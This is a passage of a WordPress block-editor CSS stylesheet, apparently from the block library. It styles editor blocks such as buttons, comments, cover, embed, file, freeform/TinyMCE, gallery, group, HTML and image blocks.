  display:inline-flex;
}
.wp-block-buttons.is-vertical>.block-list-appender .block-list-appender__toggle{
  justify-content:flex-start;
}
.wp-block-buttons>.wp-block-button:focus{
  box-shadow:none;
}
.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center]{
  margin-left:auto;
  margin-right:auto;
  margin-top:0;
  width:100%;
}
.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center] .wp-block-button{
  margin-bottom:0;
}
.editor-styles-wrapper .wp-block-buttons.has-custom-font-size .wp-block-button__link{
  font-size:inherit;
}

.wp-block[data-align=center]>.wp-block-buttons{
  align-items:center;
  justify-content:center;
}

.wp-block[data-align=right]>.wp-block-buttons{
  justify-content:flex-end;
}

.wp-block-categories ul{
  padding-left:2.5em;
}
.wp-block-categories ul ul{
  margin-top:6px;
}
[data-align=center] .wp-block-categories{
  text-align:center;
}

.wp-block-code code{
  background:none;
}

.wp-block-columns :where(.wp-block){
  margin-left:0;
  margin-right:0;
  max-width:none;
}

html :where(.wp-block-column){
  margin-bottom:0;
  margin-top:0;
}
.wp-block-comments__legacy-placeholder,.wp-block-post-comments{
  box-sizing:border-box;
}
.wp-block-comments__legacy-placeholder .alignleft,.wp-block-post-comments .alignleft{
  float:left;
}
.wp-block-comments__legacy-placeholder .alignright,.wp-block-post-comments .alignright{
  float:right;
}
.wp-block-comments__legacy-placeholder .navigation:after,.wp-block-post-comments .navigation:after{
  clear:both;
  content:"";
  display:table;
}
.wp-block-comments__legacy-placeholder .commentlist,.wp-block-post-comments .commentlist{
  clear:both;
  list-style:none;
  margin:0;
  padding:0;
}
.wp-block-comments__legacy-placeholder .commentlist .comment,.wp-block-post-comments .commentlist .comment{
  min-height:2.25em;
  padding-left:3.25em;
}
.wp-block-comments__legacy-placeholder .commentlist .comment p,.wp-block-post-comments .commentlist .comment p{
  font-size:1em;
  line-height:1.8;
  margin:1em 0;
}
.wp-block-comments__legacy-placeholder .commentlist .children,.wp-block-post-comments .commentlist .children{
  list-style:none;
  margin:0;
  padding:0;
}
.wp-block-comments__legacy-placeholder .comment-author,.wp-block-post-comments .comment-author{
  line-height:1.5;
}
.wp-block-comments__legacy-placeholder .comment-author .avatar,.wp-block-post-comments .comment-author .avatar{
  border-radius:1.5em;
  display:block;
  float:left;
  height:2.5em;
  margin-right:.75em;
  margin-top:.5em;
  width:2.5em;
}
.wp-block-comments__legacy-placeholder .comment-author cite,.wp-block-post-comments .comment-author cite{
  font-style:normal;
}
.wp-block-comments__legacy-placeholder .comment-meta,.wp-block-post-comments .comment-meta{
  font-size:.875em;
  line-height:1.5;
}
.wp-block-comments__legacy-placeholder .comment-meta b,.wp-block-post-comments .comment-meta b{
  font-weight:400;
}
.wp-block-comments__legacy-placeholder .comment-meta .comment-awaiting-moderation,.wp-block-post-comments .comment-meta .comment-awaiting-moderation{
  display:block;
  margin-bottom:1em;
  margin-top:1em;
}
.wp-block-comments__legacy-placeholder .comment-body .commentmetadata,.wp-block-post-comments .comment-body .commentmetadata{
  font-size:.875em;
}
.wp-block-comments__legacy-placeholder .comment-form-author label,.wp-block-comments__legacy-placeholder .comment-form-comment label,.wp-block-comments__legacy-placeholder .comment-form-email label,.wp-block-comments__legacy-placeholder .comment-form-url label,.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{
  display:block;
  margin-bottom:.25em;
}
.wp-block-comments__legacy-placeholder .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder .comment-form textarea,.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{
  box-sizing:border-box;
  display:block;
  width:100%;
}
.wp-block-comments__legacy-placeholder .comment-form-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent{
  display:flex;
  gap:.25em;
}
.wp-block-comments__legacy-placeholder .comment-form-cookies-consent #wp-comment-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{
  margin-top:.35em;
}
.wp-block-comments__legacy-placeholder .comment-reply-title,.wp-block-post-comments .comment-reply-title{
  margin-bottom:0;
}
.wp-block-comments__legacy-placeholder .comment-reply-title :where(small),.wp-block-post-comments .comment-reply-title :where(small){
  font-size:var(--wp--preset--font-size--medium, smaller);
  margin-left:.5em;
}
.wp-block-comments__legacy-placeholder .reply,.wp-block-post-comments .reply{
  font-size:.875em;
  margin-bottom:1.4em;
}
.wp-block-comments__legacy-placeholder input:not([type=submit]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{
  border:1px solid #949494;
  font-family:inherit;
  font-size:1em;
}
.wp-block-comments__legacy-placeholder input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{
  padding:calc(.667em + 2px);
}

:where(.wp-block-post-comments input[type=submit]){
  border:none;
}

.block-library-comments-toolbar__popover .components-popover__content{
  min-width:230px;
}

.wp-block-comments__legacy-placeholder *{
  pointer-events:none;
}

.wp-block-comment-author-avatar__placeholder{
  border:1px dashed;
  height:100%;
  width:100%;
  stroke:currentColor;
  stroke-dasharray:3;
}

.wp-block[data-align=center]>.wp-block-comments-pagination{
  justify-content:center;
}

.editor-styles-wrapper .wp-block-comments-pagination{
  max-width:100%;
}
.editor-styles-wrapper .wp-block-comments-pagination.block-editor-block-list__layout{
  margin:0;
}

.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{
  margin:.5em .5em .5em 0;
}
.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{
  margin-right:0;
}

.wp-block-comments-pagination-numbers a{
  text-decoration:underline;
}
.wp-block-comments-pagination-numbers .page-numbers{
  margin-right:2px;
}
.wp-block-comments-pagination-numbers .page-numbers:last-child{
  margin-right:0;
}

.wp-block-comments-title.has-background{
  padding:inherit;
}
.editor-styles-wrapper .wp-block-cover{
  box-sizing:border-box;
}
.wp-block-cover.is-placeholder{
  align-items:stretch;
  display:flex;
  min-height:240px;
  padding:0 !important;
}
.wp-block-cover.is-placeholder .components-placeholder.is-large{
  justify-content:flex-start;
  z-index:1;
}
.wp-block-cover.is-placeholder:focus:after{
  min-height:auto;
}
.wp-block-cover.components-placeholder h2{
  color:inherit;
}
.wp-block-cover.is-transient:before{
  background-color:#fff;
  opacity:.3;
}
.wp-block-cover .components-spinner{
  left:50%;
  margin:0;
  position:absolute;
  top:50%;
  transform:translate(-50%, -50%);
  z-index:1;
}
.wp-block-cover .wp-block-cover__inner-container{
  margin-left:0;
  margin-right:0;
  text-align:left;
}
.wp-block-cover .wp-block-cover__placeholder-background-options{
  width:100%;
}
.wp-block-cover .wp-block-cover__image--placeholder-image{
  bottom:0;
  left:0;
  position:absolute;
  right:0;
  top:0;
}

[data-align=left]>.wp-block-cover,[data-align=right]>.wp-block-cover{
  max-width:420px;
  width:100%;
}

.block-library-cover__reset-button{
  margin-left:auto;
}

.block-library-cover__resize-container{
  bottom:0;
  left:0;
  min-height:50px;
  position:absolute !important;
  right:0;
  top:0;
}

.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .block-library-cover__resize-container,.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .components-popover__content>div{
  overflow:visible;
  pointer-events:none;
}

.wp-block-cover>.components-drop-zone .components-drop-zone__content{
  opacity:.8 !important;
}

.block-editor-block-patterns-list__list-item .has-parallax.wp-block-cover{
  background-attachment:scroll;
}

.color-block-support-panel__inner-wrapper>:not(.block-editor-tools-panel-color-gradient-settings__item){
  margin-top:24px;
}

.wp-block-cover:after{
  min-height:auto;
}

.wp-block-details summary div{
  display:inline;
}

.wp-block-embed{
  clear:both;
  margin-left:0;
  margin-right:0;
}
.wp-block-embed.is-loading{
  display:flex;
  justify-content:center;
}
.wp-block-embed .components-placeholder__error{
  word-break:break-word;
}

.wp-block-embed__learn-more{
  margin-top:1em;
}
.wp-block-post-content .wp-block-embed__learn-more a{
  color:var(--wp-admin-theme-color);
}

.block-library-embed__interactive-overlay{
  bottom:0;
  left:0;
  opacity:0;
  position:absolute;
  right:0;
  top:0;
}

.wp-block[data-align=left]>.wp-block-embed,.wp-block[data-align=right]>.wp-block-embed{
  max-width:360px;
  width:100%;
}
.wp-block[data-align=left]>.wp-block-embed .wp-block-embed__wrapper,.wp-block[data-align=right]>.wp-block-embed .wp-block-embed__wrapper{
  min-width:280px;
}

.wp-block-file{
  align-items:center;
  display:flex;
  flex-wrap:wrap;
  justify-content:space-between;
  margin-bottom:0;
}
.wp-block[data-align=left]>.wp-block-file,.wp-block[data-align=right]>.wp-block-file{
  height:auto;
}
.wp-block-file .components-resizable-box__container{
  margin-bottom:1em;
}
.wp-block-file .wp-block-file__preview{
  height:100%;
  margin-bottom:1em;
  width:100%;
}
.wp-block-file .wp-block-file__preview-overlay{
  bottom:0;
  left:0;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-file .wp-block-file__content-wrapper{
  flex-grow:1;
}
.wp-block-file a{
  min-width:1em;
}
.wp-block-file a:not(.wp-block-file__button){
  display:inline-block;
}
.wp-block-file .wp-block-file__button-richtext-wrapper{
  display:inline-block;
  margin-left:.75em;
}

.wp-block-form-input .is-input-hidden{
  background:repeating-linear-gradient(45deg, #0000, #0000 5px, currentColor 0, currentColor 6px);
  border:1px dashed;
  box-sizing:border-box;
  font-size:.85em;
  opacity:.3;
  padding:.5em;
}
.wp-block-form-input .is-input-hidden input[type=text]{
  background:#0000;
}
.wp-block-form-input.is-selected .is-input-hidden{
  background:none;
  opacity:1;
}
.wp-block-form-input.is-selected .is-input-hidden input[type=text]{
  background:unset;
}

.wp-block-form-submission-notification>*{
  background:repeating-linear-gradient(45deg, #0000, #0000 5px, currentColor 0, currentColor 6px);
  border:1px dashed;
  box-sizing:border-box;
  opacity:.25;
}
.wp-block-form-submission-notification.is-selected>*,.wp-block-form-submission-notification:has(.is-selected)>*{
  background:none;
  opacity:1;
}
.wp-block-form-submission-notification.is-selected:after,.wp-block-form-submission-notification:has(.is-selected):after{
  display:none !important;
}
.wp-block-form-submission-notification:after{
  align-items:center;
  display:flex;
  font-size:1.1em;
  height:100%;
  justify-content:center;
  left:0;
  position:absolute;
  top:0;
  width:100%;
}
.wp-block-form-submission-notification.form-notification-type-success:after{
  content:attr(data-message-success);
}
.wp-block-form-submission-notification.form-notification-type-error:after{
  content:attr(data-message-error);
}

.wp-block-freeform.block-library-rich-text__tinymce{
  height:auto;
}
.wp-block-freeform.block-library-rich-text__tinymce li,.wp-block-freeform.block-library-rich-text__tinymce p{
  line-height:1.8;
}
.wp-block-freeform.block-library-rich-text__tinymce ol,.wp-block-freeform.block-library-rich-text__tinymce ul{
  margin-left:0;
  padding-left:2.5em;
}
.wp-block-freeform.block-library-rich-text__tinymce blockquote{
  border-left:4px solid #000;
  box-shadow:inset 0 0 0 0 #ddd;
  margin:0;
  padding-left:1em;
}
.wp-block-freeform.block-library-rich-text__tinymce pre{
  color:#1e1e1e;
  font-family:Menlo,Consolas,monaco,monospace;
  font-size:15px;
  white-space:pre-wrap;
}
.wp-block-freeform.block-library-rich-text__tinymce>:first-child{
  margin-top:0;
}
.wp-block-freeform.block-library-rich-text__tinymce>:last-child{
  margin-bottom:0;
}
.wp-block-freeform.block-library-rich-text__tinymce.mce-edit-focus{
  outline:none;
}
.wp-block-freeform.block-library-rich-text__tinymce a{
  color:var(--wp-admin-theme-color);
}
.wp-block-freeform.block-library-rich-text__tinymce:focus a[data-mce-selected]{
  background:#e5f5fa;
  border-radius:2px;
  box-shadow:0 0 0 1px #e5f5fa;
  margin:0 -2px;
  padding:0 2px;
}
.wp-block-freeform.block-library-rich-text__tinymce code{
  background:#f0f0f0;
  border-radius:2px;
  color:#1e1e1e;
  font-family:Menlo,Consolas,monaco,monospace;
  font-size:14px;
  padding:2px;
}
.wp-block-freeform.block-library-rich-text__tinymce:focus code[data-mce-selected]{
  background:#ddd;
}
.wp-block-freeform.block-library-rich-text__tinymce .alignright{
  float:right;
  margin:.5em 0 .5em 1em;
}
.wp-block-freeform.block-library-rich-text__tinymce .alignleft{
  float:left;
  margin:.5em 1em .5em 0;
}
.wp-block-freeform.block-library-rich-text__tinymce .aligncenter{
  display:block;
  margin-left:auto;
  margin-right:auto;
}
.wp-block-freeform.block-library-rich-text__tinymce .wp-more-tag{
  background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAADtgAAAAoBAMAAAA86gLBAAAAJFBMVEVMaXG7u7vBwcHDw8POzs68vLzGxsbMzMy+vr7AwMDQ0NDGxsYKLGzpAAAADHRSTlMA///zWf+/f///TMxNVGuqAAABwklEQVR4Ae3dMXLaQBTH4bfj8UCpx8hq0vgKvgFNemhT6Qo6gg6R+0ZahM2QLmyBJ99XWP9V5+o3jIUcLQEAAAAAAAAAAAAAAAAAAAAAAABQ8j0WL9lfTtlt18uNXAUA8O/KVtfa1tdcrOdSh9gCQAMlh1hMNbZZ1bsrsQWABsrhLRbz7z5in/32UbfUMUbkMQCAh5RfGYv82UdMdZ6HS2wjT2ILAI8r3XmM2B3WvM59vfO2xXYW2yYAENuPU8S+X/N67mKxzy225yaxBQCxLV392UdcvwV0jPVUj98ntkBWT7C7+9u2/V/vGtvXIWJ6/4rtbottWa6Ri0NUT/u72LYttrb97LHdvUXMxxrb8TO2W2TF1rYbbLG1bbGNjMi4+2Sbi1FsbbvNFlvbFtt5fDnE3d9sP1/XeIyV2Nr2U2/guZUuptNrH/dPI9eLB6SaAEBs6wPJf3/PNk9tYgsAYrv/8TFuzx/fvkFqGtrEFgDEdpcZUb7ejXy6ntrEFgDENvL6gsas4vbdyKt4DACI7TxElJv/Z7udpqFNbAFAbKduy2uU2trttM/x28UWAAAAAAAAAAAAAAAAAAAAAAAAAADgDyPwGmGTCZp7AAAAAElFTkSuQmCC);
  background-position:50%;
  background-repeat:no-repeat;
  background-size:1900px 20px;
  cursor:default;
  display:block;
  height:20px;
  margin:15px auto;
  outline:0;
  width:96%;
}
.wp-block-freeform.block-library-rich-text__tinymce img::selection{
  background-color:initial;
}
.wp-block-freeform.block-library-rich-text__tinymce div.mceTemp{
  -ms-user-select:element;
}
.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption{
  margin:0;
  max-width:100%;
}
.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption a,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption img{
  display:block;
}
.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption *{
  -webkit-user-drag:none;
}
.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption .wp-caption-dd{
  margin:0;
  padding-top:.5em;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview{
  border:1px solid #0000;
  clear:both;
  margin-bottom:16px;
  position:relative;
  width:99.99%;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview iframe{
  background:#0000;
  display:block;
  max-width:100%;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview .mce-shim{
  bottom:0;
  left:0;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected="2"] .mce-shim{
  display:none;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview .loading-placeholder{
  border:1px dashed #ddd;
  padding:10px;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error{
  border:1px solid #ddd;
  margin:0;
  padding:1em 0;
  word-wrap:break-word;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error p{
  margin:0;
  text-align:center;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .loading-placeholder,.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .wpview-error{
  border-color:#0000;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview .dashicons{
  display:block;
  font-size:32px;
  height:32px;
  margin:0 auto;
  width:32px;
}
.wp-block-freeform.block-library-rich-text__tinymce .wpview.wpview-type-gallery:after{
  clear:both;
  content:"";
  display:table;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery img[data-mce-selected]:focus{
  outline:none;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery a{
  cursor:default;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery{
  line-height:1;
  margin:auto -6px;
  overflow-x:hidden;
  padding:6px 0;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-item{
  box-sizing:border-box;
  float:left;
  margin:0;
  padding:6px;
  text-align:center;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption,.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-icon{
  margin:0;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption{
  font-size:13px;
  margin:4px 0;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-1 .gallery-item{
  width:100%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-2 .gallery-item{
  width:50%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-3 .gallery-item{
  width:33.3333333333%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-4 .gallery-item{
  width:25%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-5 .gallery-item{
  width:20%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-6 .gallery-item{
  width:16.6666666667%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-7 .gallery-item{
  width:14.2857142857%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-8 .gallery-item{
  width:12.5%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-9 .gallery-item{
  width:11.1111111111%;
}
.wp-block-freeform.block-library-rich-text__tinymce .gallery img{
  border:none;
  height:auto;
  max-width:100%;
  padding:0;
}

div[data-type="core/freeform"]:before{
  border:1px solid #ddd;
  outline:1px solid #0000;
  transition:border-color .1s linear,box-shadow .1s linear;
}
@media (prefers-reduced-motion:reduce){
  div[data-type="core/freeform"]:before{
    transition-delay:0s;
    transition-duration:0s;
  }
}
div[data-type="core/freeform"].is-selected:before{
  border-color:#1e1e1e;
}
div[data-type="core/freeform"] .block-editor-block-contextual-toolbar+div{
  margin-top:0;
  padding-top:0;
}
div[data-type="core/freeform"].is-selected .block-library-rich-text__tinymce:after{
  clear:both;
  content:"";
  display:table;
}

.mce-toolbar-grp .mce-btn.mce-active button,.mce-toolbar-grp .mce-btn.mce-active i,.mce-toolbar-grp .mce-btn.mce-active:hover button,.mce-toolbar-grp .mce-btn.mce-active:hover i{
  color:#1e1e1e;
}
.mce-toolbar-grp .mce-rtl .mce-flow-layout-item.mce-last{
  margin-left:8px;
  margin-right:0;
}
.mce-toolbar-grp .mce-btn i{
  font-style:normal;
}

.block-library-classic__toolbar{
  border:1px solid #ddd;
  border-bottom:none;
  border-radius:2px;
  display:none;
  margin:0 0 8px;
  padding:0;
  position:sticky;
  top:0;
  width:auto;
  z-index:31;
}
div[data-type="core/freeform"].is-selected .block-library-classic__toolbar{
  border-color:#1e1e1e;
  display:block;
}
.block-library-classic__toolbar .mce-tinymce{
  box-shadow:none;
}
@media (min-width:600px){
  .block-library-classic__toolbar{
    padding:0;
  }
}
.block-library-classic__toolbar:empty{
  background:#f5f5f5;
  border-bottom:1px solid #e2e4e7;
  display:block;
}
.block-library-classic__toolbar:empty:before{
  color:#555d66;
  content:attr(data-placeholder);
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  line-height:37px;
  padding:14px;
}
.block-library-classic__toolbar div.mce-toolbar-grp{
  border-bottom:1px solid #1e1e1e;
}
.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar .mce-menubar>div,.block-library-classic__toolbar .mce-tinymce-inline,.block-library-classic__toolbar .mce-tinymce-inline>div,.block-library-classic__toolbar div.mce-toolbar-grp,.block-library-classic__toolbar div.mce-toolbar-grp>div{
  height:auto !important;
  width:100% !important;
}
.block-library-classic__toolbar .mce-container-body.mce-abs-layout{
  overflow:visible;
}
.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar div.mce-toolbar-grp{
  position:static;
}
.block-library-classic__toolbar .mce-toolbar-grp>div{
  padding:1px 3px;
}
.block-library-classic__toolbar .mce-toolbar-grp .mce-toolbar:not(:first-child){
  display:none;
}
.block-library-classic__toolbar.has-advanced-toolbar .mce-toolbar-grp .mce-toolbar{
  display:block;
}

.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe{
  height:50vh !important;
}
@media (min-width:960px){
  .block-editor-freeform-modal .block-editor-freeform-modal__content:not(.is-full-screen){
    height:9999rem;
  }
  .block-editor-freeform-modal .block-editor-freeform-modal__content .components-modal__header+div{
    height:100%;
  }
  .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-tinymce{
    height:calc(100% - 52px);
  }
  .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-container-body{
    display:flex;
    flex-direction:column;
    height:100%;
    min-width:50vw;
  }
  .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area{
    display:flex;
    flex-direction:column;
    flex-grow:1;
  }
  .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe{
    flex-grow:1;
    height:10px !important;
  }
}
.block-editor-freeform-modal__actions{
  margin-top:16px;
}

figure.wp-block-gallery{
  display:block;
}
figure.wp-block-gallery>.blocks-gallery-caption{
  flex:0 0 100%;
}
figure.wp-block-gallery>.blocks-gallery-media-placeholder-wrapper{
  flex-basis:100%;
}
figure.wp-block-gallery .wp-block-image .components-notice.is-error{
  display:block;
}
figure.wp-block-gallery .wp-block-image .components-notice__content{
  margin:4px 0;
}
figure.wp-block-gallery .wp-block-image .components-notice__dismiss{
  position:absolute;
  right:5px;
  top:0;
}
figure.wp-block-gallery .block-editor-media-placeholder.is-appender .components-placeholder__label{
  display:none;
}
figure.wp-block-gallery .block-editor-media-placeholder.is-appender .block-editor-media-placeholder__button{
  margin-bottom:0;
}
figure.wp-block-gallery .block-editor-media-placeholder{
  margin:0;
}
figure.wp-block-gallery .block-editor-media-placeholder .components-placeholder__label{
  display:flex;
}
figure.wp-block-gallery .block-editor-media-placeholder figcaption{
  z-index:2;
}
figure.wp-block-gallery .components-spinner{
  left:50%;
  margin-left:-9px;
  margin-top:-9px;
  position:absolute;
  top:50%;
}
.gallery-settings-buttons .components-button:first-child{
  margin-right:8px;
}

.gallery-image-sizes .components-base-control__label{
  display:block;
  margin-bottom:4px;
}
.gallery-image-sizes .gallery-image-sizes__loading{
  align-items:center;
  color:#757575;
  display:flex;
  font-size:12px;
}
.gallery-image-sizes .components-spinner{
  margin:0 8px 0 4px;
}
.blocks-gallery-item figure:not(.is-selected):focus,.blocks-gallery-item img:focus{
  outline:none;
}
.blocks-gallery-item figure.is-selected:before{
  bottom:0;
  box-shadow:0 0 0 1px #fff inset, 0 0 0 3px var(--wp-admin-theme-color) inset;
  content:"";
  left:0;
  outline:2px solid #0000;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
  z-index:1;
}
.blocks-gallery-item figure.is-transient img{
  opacity:.3;
}
.blocks-gallery-item .is-selected .block-library-gallery-item__inline-menu{
  display:inline-flex;
}
.blocks-gallery-item .block-editor-media-placeholder{
  height:100%;
  margin:0;
}
.blocks-gallery-item .block-editor-media-placeholder .components-placeholder__label{
  display:flex;
}

.block-library-gallery-item__inline-menu{
  background:#fff;
  border:1px solid #1e1e1e;
  border-radius:2px;
  display:none;
  margin:8px;
  position:absolute;
  top:-2px;
  transition:box-shadow .2s ease-out;
  z-index:20;
}
@media (prefers-reduced-motion:reduce){
  .block-library-gallery-item__inline-menu{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.block-library-gallery-item__inline-menu:hover{
  box-shadow:0 .7px 1px #0000001a,0 1.2px 1.7px -.2px #0000001a,0 2.3px 3.3px -.5px #0000001a;
}
@media (min-width:600px){
  .columns-7 .block-library-gallery-item__inline-menu,.columns-8 .block-library-gallery-item__inline-menu{
    padding:2px;
  }
}
.block-library-gallery-item__inline-menu .components-button.has-icon:not(:focus){
  border:none;
  box-shadow:none;
}
@media (min-width:600px){
  .columns-7 .block-library-gallery-item__inline-menu .components-button.has-icon,.columns-8 .block-library-gallery-item__inline-menu .components-button.has-icon{
    height:inherit;
    padding:0;
    width:inherit;
  }
}
.block-library-gallery-item__inline-menu.is-left{
  left:-2px;
}
.block-library-gallery-item__inline-menu.is-right{
  right:-2px;
}

.wp-block-gallery ul.blocks-gallery-grid{
  margin:0;
  padding:0;
}

@media (min-width:600px){
  .wp-block-update-gallery-modal{
    max-width:480px;
  }
}

.wp-block-update-gallery-modal-buttons{
  display:flex;
  gap:12px;
  justify-content:flex-end;
}
.wp-block-group .block-editor-block-list__insertion-point{
  left:0;
  right:0;
}

[data-type="core/group"].is-selected .block-list-appender{
  margin-left:0;
  margin-right:0;
}
[data-type="core/group"].is-selected .has-background .block-list-appender{
  margin-bottom:18px;
  margin-top:18px;
}

.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child{
  gap:inherit;
  pointer-events:none;
}
.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-default-block-appender__content,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{
  display:inherit;
  flex:1;
  flex-direction:inherit;
  width:100%;
}
.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child:after{
  border:1px dashed;
  border-radius:2px;
  content:"";
  display:flex;
  flex:1 0 48px;
  min-height:46px;
  pointer-events:none;
}
.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child:after:before{
  background:currentColor;
  bottom:0;
  content:"";
  left:0;
  opacity:.1;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{
  pointer-events:all;
}

.wp-block-group__placeholder .wp-block-group-placeholder__variations{
  display:flex;
  flex-direction:row;
  flex-wrap:wrap;
  justify-content:center;
  list-style:none;
  margin:0;
  padding:0;
  width:100%;
}
.wp-block-group__placeholder .components-placeholder__instructions{
  margin-bottom:18px;
  text-align:center;
}
.wp-block-group__placeholder .wp-block-group-placeholder__variations svg{
  fill:#ccc !important;
}
.wp-block-group__placeholder .wp-block-group-placeholder__variations svg:hover{
  fill:var(--wp-admin-theme-color) !important;
}
.wp-block-group__placeholder .wp-block-group-placeholder__variations>li{
  align-items:center;
  display:flex;
  flex-direction:column;
  margin:0 12px 12px;
  width:auto;
}
.wp-block-group__placeholder .wp-block-group-placeholder__variations li>.wp-block-group-placeholder__variation-button{
  height:32px;
  padding:0;
  width:44px;
}
.wp-block-group__placeholder .wp-block-group-placeholder__variations li>.wp-block-group-placeholder__variation-button:hover{
  box-shadow:none;
}
.wp-block-group__placeholder .components-placeholder{
  min-height:auto;
  padding:24px;
}
.wp-block-group__placeholder .is-medium .wp-block-group-placeholder__variations>li,.wp-block-group__placeholder .is-small .wp-block-group-placeholder__variations>li{
  margin:12px;
}

.block-library-html__edit .block-library-html__preview-overlay{
  height:100%;
  left:0;
  position:absolute;
  top:0;
  width:100%;
}
.block-library-html__edit .block-editor-plain-text{
  background:#fff !important;
  border:1px solid #1e1e1e !important;
  border-radius:2px !important;
  box-shadow:none !important;
  box-sizing:border-box;
  color:#1e1e1e !important;
  font-family:Menlo,Consolas,monaco,monospace !important;
  font-size:16px !important;
  max-height:250px;
  padding:12px !important;
}
@media (min-width:600px){
  .block-library-html__edit .block-editor-plain-text{
    font-size:13px !important;
  }
}
.block-library-html__edit .block-editor-plain-text:focus{
  border-color:var(--wp-admin-theme-color) !important;
  box-shadow:0 0 0 1px var(--wp-admin-theme-color) !important;
  outline:2px solid #0000 !important;
}

.wp-block-image.wp-block-image.is-selected .components-placeholder{
  background-color:#fff;
  border:none;
  border-radius:2px;
  box-shadow:inset 0 0 0 1px #1e1e1e;
  color:#1e1e1e;
  filter:none !important;
}
.wp-block-image.wp-block-image.is-selected .components-placeholder>svg{
  opacity:0;
}
.wp-block-image.wp-block-image.is-selected .components-placeholder .components-placeholder__illustration{
  display:none;
}
.wp-block-image.wp-block-image .block-bindings-media-placeholder-message,.wp-block-image.wp-block-image.is-selected .components-placeholder:before{
  opacity:0;
}
.wp-block-image.wp-block-image.is-selected .block-bindings-media-placeholder-message{
  opacity:1;
}
.wp-block-image.wp-block-image .components-button,.wp-block-image.wp-block-image .components-placeholder__instructions,.wp-block-image.wp-block-image .components-placeholder__label{
  transition:none;
}

figure.wp-block-image:not(.wp-block){
  margin:0;
}

.wp-block-image{
  position:relative;
}
.wp-block-image .is-applying img,.wp-block-image.is-transient img{
  opacity:.3;
}
.wp-block-image figcaption img{
  display:inline;
}
.wp-block-image .components-spinner{
  left:50%;
  position:absolute;
  top:50%;
  transform:translate(-50%, -50%);
}

.wp-block-image .components-resizable-box__container{
  display:table;
}
.wp-block-image .components-resizable-box__container img{
  display:block;
